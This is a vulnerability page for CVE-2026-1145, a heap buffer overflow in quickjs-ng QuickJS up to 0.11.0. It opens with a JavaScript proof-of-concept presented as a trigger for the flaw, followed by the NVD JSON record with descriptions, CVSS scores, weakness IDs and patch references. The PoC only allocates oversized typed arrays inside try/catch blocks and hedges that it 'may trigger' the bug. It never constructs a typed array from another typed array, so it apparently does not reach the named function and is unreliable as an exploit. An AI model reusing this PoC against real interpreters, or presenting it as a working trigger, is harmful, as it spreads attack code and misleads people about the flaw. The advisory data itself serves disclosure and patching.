CVE-2026-1145

// CVE-2026-1145 PoC - Heap Buffer Overflow in js_typed_array_constructor_ta // Affected: quickjs-ng quickjs <= 0.11.0 // Function to trigger the vulnerability function triggerBufferOverflow() { try { // Attempt to create TypedArray with oversized length // This may trigger heap buffer overflow in js_typed_array_constructor_ta const maliciousLength = 0x7FFFFFFF; // Large value const arr = new Uint8Array(maliciousLength); // Additional trigger attempts for (let i = 0; i < 10; i++) { try { new Uint8Array(i * 0x10000000); } catch (e) { console.log("Attempt " + i + ": " + e.message); } } // Try different TypedArray types const types = [Uint8Array, Int8Array, Uint16Array, Int16Array, Uint32Array, Int32Array, Float32Array, Float64Array]; for (const Type of types) { try { new Type(0x10000000); } catch (e) { console.log(Type.name + ": " + e.message); } } } catch (e) { console.log("Error: " + e.message); } } // Run the PoC triggerBufferOverflow(); // Alternative PoC - TypedArray constructor manipulation function alternativePoC() { // Try to trigger via constructor behavior const constructor = Uint8Array; // Attempt various overflow scenarios const testCases = [ { len: 0xFFFFFFFF }, { len: Number.MAX_SAFE_INTEGER }, { len: -1 }, { buffer: null } ]; for (const test of testCases) { try { new constructor(test.len); } catch (e) { console.log("Test case: " + JSON.stringify(test) + " -> " + e.message); } } } alternativePoC();

{"cve": {"id": "CVE-2026-1145", "sourceIdentifier": "[email protected]", "published": "2026-01-19T09:16:02.587", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in quickjs-ng quickjs up to 0.11.0. Affected by this vulnerability is the function js_typed_array_constructor_ta of the file quickjs.c. This manipulation causes heap-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been published and may be used. Patch name: 53aebe66170d545bb6265906fe4324e4477de8b4. It is suggested to install a patch to address this issue."}, {"lang": "es", "value": "Se ha encontrado una falla en quickjs-ng quickjs hasta 0.11.0. Afectada por esta vulnerabilidad es la función js_typed_array_constructor_ta del archivo quickjs.c. Esta manipulación causa desbordamiento de búfer basado en montículo. El ataque es posible de realizar de forma remota. El exploit ha sido publicado y puede ser utilizado. Nombre del parche: 53aebe66170d545bb6265906fe4324e4477de8b4. Se sugiere instalar un parche para abordar este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:quickjs-ng:quickjs:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.11.0", "matchCriteriaId": "99E7BDDC-5F85-4D2D-A0FE-87E837B594D3"}]}]}], "references": [{"url": "https://github.com/paralin/quickjs/commit/53aebe66170d545bb6265906fe4324e4477de8b4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/quickjs-ng/quickjs/", "source": "[email protected]"}, {"url": "https://github.com/quickjs-ng/quickjs/issues/1305", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.co ... 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